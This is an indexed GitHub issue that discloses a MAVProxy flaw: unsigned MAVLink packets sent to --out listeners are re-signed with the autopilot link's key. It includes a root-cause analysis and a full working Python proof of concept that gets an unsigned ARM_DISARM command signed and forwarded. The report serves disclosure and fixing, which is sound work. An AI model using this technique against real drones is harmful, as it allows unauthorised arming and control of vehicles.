ArduPilot / ArduPilot/MAVProxy
Unsigned packets on `--out` are re-signed with the master link's signing key, leaking signing authority to any peer reachable on the listener
- Dominant language
- Python
- Stars
- 595
- Forks
- 773
- Avg merge
- 2d 6h
- Merged PRs (30d)
- 18
Description
## Summary
When MAVProxy has a signing key loaded for its master (autopilot) link, the slave-to-master forwarder unconditionally signs any **unsigned** MAVLink packet that arrives on a `--out` slave link before forwarding it upstream. There is no authentication of the slave-side sender. Any peer that can deliver UDP packets to a `--out udpin:` listener (or write bytes to any other `--out` transport) can therefore have arbitrary commands — including `MAV_CMD_COMPONENT_ARM_DISARM` — minted with a valid signature under the master link's signing key and accepted by the autopilot as authentic.
In effect, loading a signing key into MAVProxy delegates that key's full authority to every peer reachable on every `--out` link, regardless of whether that peer ever possessed the passphrase.
Tested against `master` at `61a4e088` (2025-04-25).
## Impact
Severity in a typical companion-computer deployment is high:
- The standard documented pattern for letting a ground station connect over WiFi is `--out udpin:0.0.0.0:14550`. Once a signing key is loaded, anyone who can route a UDP packet to that address (e.g. on the drone's WiFi network) can issue ARM/DISARM, mode changes, mission uploads, parameter writes, and any other COMMAND_LONG/COMMAND_INT the autopilot will accept.
- The attacker does not need the signing passphrase, never sees the key bytes, and does not need to be on-path between MAVProxy and the autopilot.
- The relevant setting (`mavfwd_signing`) defaults to `True`, so the dangerous behavior is on by default whenever signing is configured.
- The MAVLink specification calls out exactly this trust-boundary concern when it requires that `SETUP_SIGNING` "must never be automatically forwarded" between channels. The defect here leaks the *use* of the key across the same kind of boundary, which is materially the same authority.
## Root cause
`process_mavlink` (`MAVProxy/mavproxy.py:879`) is invoked for every readable slave fd registered in the main `select` loop (`MAVProxy/mavproxy.py:1167-1169`, dispatched at `1198-1200` and `1205-1208`). For each parsed message it picks a master link as the forwarding destination and then runs the re-signing branch:
```python
# MAVProxy/mavproxy.py:899-913
if allow_fwd:
for m in msgs:
target_sysid = getattr(m, 'target_system', -1)
if mpstate.settings.mavfwd_link > 0 and mpstate.settings.mavfwd_link <= len(mpstate.mav_master):
output = mpstate.mav_master[mpstate.settings.mavfwd_link-1]
else:
# find best link by sysid
output = mpstate.master(target_sysid)
if (mpstate.settings.mavfwd_signing and
output.mav.signing.sign_outgoing and
(m._header.incompat_flags & mavutil.mavlink.MAVLINK_IFLAG_SIGNED) == 0):
# repack the message if this is a signed link and not already signed
m.pack(output.mav)
output.write(m.get_msgbuf())
```
The three conditions guarding the re-pack are all properties of *the destination master link*, never of the source:
1. `mpstate.settings.mavfwd_signing` — global setting, defaults to `True` (`MAVProxy/mavproxy.py:253`).
2. `output.mav.signing.sign_outgoing` — the master's signing state.
3. The inbound packet does not have `MAVLINK_IFLAG_SIGNED` set.
There is no condition that distinguishes a trusted internal source from an untrusted external `--out` peer. The signing module only ever installs `sign_outgoing=True` on master connections (`MAVProxy/modules/mavproxy_signing.py:96` and `:121`, called for masters from `MAVProxy/modules/mavproxy_link.py:445`; the iteration at `MAVProxy/modules/mavproxy_signing.py:134-135` is over `mpstate.mav_master` only). Slave `mav_outputs` connections have no signing state and are not authenticated in any other way before their packets reach the re-pack branch.
`m.pack(output.mav)` re-serializes the parsed message through the master link's `MAVLink` object, which appends a valid HMAC signature using the master link's secret key. `output.write(m.get_msgbuf())` then sends the now-signed buffer to the autopilot, which accepts it.
## Reproduction
The PoC below uses only the documented MAVProxy CLI (`--master`, `--out`, `--default-modules=signing`, `~/.mavproxy/signing.keys`) and standard UDP sockets. No source patches, no monkey-patching, no test doubles. The "autopilot" is replaced by a UDP socket that observes what MAVProxy emits on the master link; the offline verifier confirms the emitted packet's signature against the master passphrase.
Save as `repro.py`, place a checkout of MAVProxy at `./MAVProxy/`, create a venv at `./mp-venv/` with `pymavlink` and `pyserial` installed, then run `mp-venv/bin/python repro.py`.
```python
#!/usr/bin/env python3
import hashlib, os, select, shutil, socket, subprocess, tempfile, time
from pathlib import Path
from pymavlink import mavutil
HERE = Path(__file__).parent.resolve()
MAVPROXY = HERE / "MAVProxy"
MAVPROXY_MAIN = MAVPROXY / "MAVProxy" / "mavproxy.py"
PYTHON = HERE / "mp-venv" / "bin" / "python"
PASSPHRASE = "ralphpass"
SIGNING_KEY = hashlib.sha256(PASSPHRASE.encode("ascii")).digest()
COMMAND = mavutil.mavlink.MAV_CMD_COMPONENT_ARM_DISARM
def free_udp_port():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(("127.0.0.1", 0))
p = s.getsockname()[1]
s.close()
return p
def make_unsigned_command():
mav = mavutil.mavlink.MAVLink(None, srcSystem=42, srcComponent=190)
msg = mavutil.mavlink.MAVLink_command_long_message(
1, 1, COMMAND, 0, 1, 0, 0, 0, 0, 0, 0,
)
return msg.pack(mav)
def verifier():
mav = mavutil.mavlink.MAVLink(None)
mav.signing.secret_key = SIGNING_KEY
mav.signing.timestamp = 0
return mav
def recv_command(sock, deadline):
parser = verifier()
while time.time() < deadline:
timeout = max(0.0, min(0.25, deadline - time.time()))
if not select.select([sock], [], [], timeout)[0]:
continue
data, _ = sock.recvfrom(4096)
try:
msgs = parser.parse_buffer(data) or []
except mavutil.mavlink.MAVError:
continue
for msg in msgs:
if msg.get_type() == "COMMAND_LONG" and msg.command == COMMAND:
return data, msg
return None, None
def main():
master_port = free_udp_port()
out_port = free_udp_port()
work = Path(tempfile.mkdtemp(prefix="mavproxy-signing-repro-", dir="/tmp"))
receiver = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
receiver.bind(("127.0.0.1", master_port))
receiver.setblocking(False)
home = work / "home"
(home / ".mavproxy").mkdir(parents=True)
(home / ".mavproxy" / "signing.keys").write_text(
f"udpout:127.0.0.1:{master_port} {PASSPHRASE}\n", encoding="ascii",
)
env = os.environ.copy()
env["HOME"] = str(home)
env["PYTHONPATH"] = str(MAVPROXY)
env["MAVLINK20"] = "1"
env["MAVLINK_DIALECT"] = "ardupilotmega"
cmd = [
str(PYTHON), str(MAVPROXY_MAIN),
"--master", f"udpout:127.0.0.1:{master_port}",
"--out", f"udpin:127.0.0.1:{out_port}",
"--mav20", "--nowait", "--daemon", "--non-interactive",
"--default-modules=signing",
"--state-basedir", str(work / "state"),
"--aircraft", "repro",
]
proc = subprocess.Popen(
cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, env=env,
)
try:
time.sleep(1.5)
if proc.poll() is not None:
raise RuntimeError(f"MAVProxy exited early\n{proc.stdout.read()}")
attacker = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
unsigned = make_unsigned_command()
attacker.sendto(unsigned, ("127.0.0.1", out_port))
forwarded, msg = recv_command(receiver, time.time() + 5.0)
signed_bit = bool(unsigned[2] & mavutil.mavlink.MAVLINK_IFLAG_SIGNED)
print(f"input_len={len(unsigned)} signed_bit={signed_bit}")
if forwarded is None:
raise SystemExit("no master-key-verified COMMAND_LONG observed")
out_signed = bool(forwarded[2] & mavutil.mavlink.MAVLINK_IFLAG_SIGNED)
print(f"output_len={len(forwarded)} signed_bit={out_signed}")
print(f"verifies_with_master_key=True command={msg.command}")
print(f"output_hex={forwarded.hex()}")
finally:
proc.terminate()
try:
proc.wait(timeout=3)
except subprocess.TimeoutExpired:
proc.kill()
receiver.close()
shutil.rmtree(work, ignore_errors=True)
if __name__ == "__main__":
main()
```
### Observed output (against `61a4e088`)
```
input_len=41 signed_bit=False
output_len=57 signed_bit=True
verifies_with_master_key=True command=400
output_hex=fd20010000ffe64c00000000803f0000000000000000000000000000000000000000000000009001010100... (signature truncated)
```
The 41-byte unsigned input arrives at MAVProxy's `--out` listener; a 57-byte packet (16 additional bytes — the link ID, timestamp, and HMAC signature suffix) is emitted on the master link with `IFLAG_SIGNED` set, and verifies offline against the SHA-256 of `ralphpass`. The exploit requires no knowledge of the passphrase; the `signing.keys` file is never read by the attacker side.
Contributor guide
No contributing guide indexed for this repository
Research direction
Start with process_mavlink in MAVProxy/mavproxy.py and follow its select-loop callers at the cited lines. Then inspect MAVProxy/modules/mavproxy_signing.py and MAVProxy/modules/mavproxy_link.py to understand where master signing is enabled. Run the supplied repro.py; done means an unsigned packet from the --out listener is no longer emitted on the master link as a packet verified with the master signing key.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- python
- Domain
- security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Quiet
- Clarity
- Clearly specified
- Newbie friendliness
- 45/100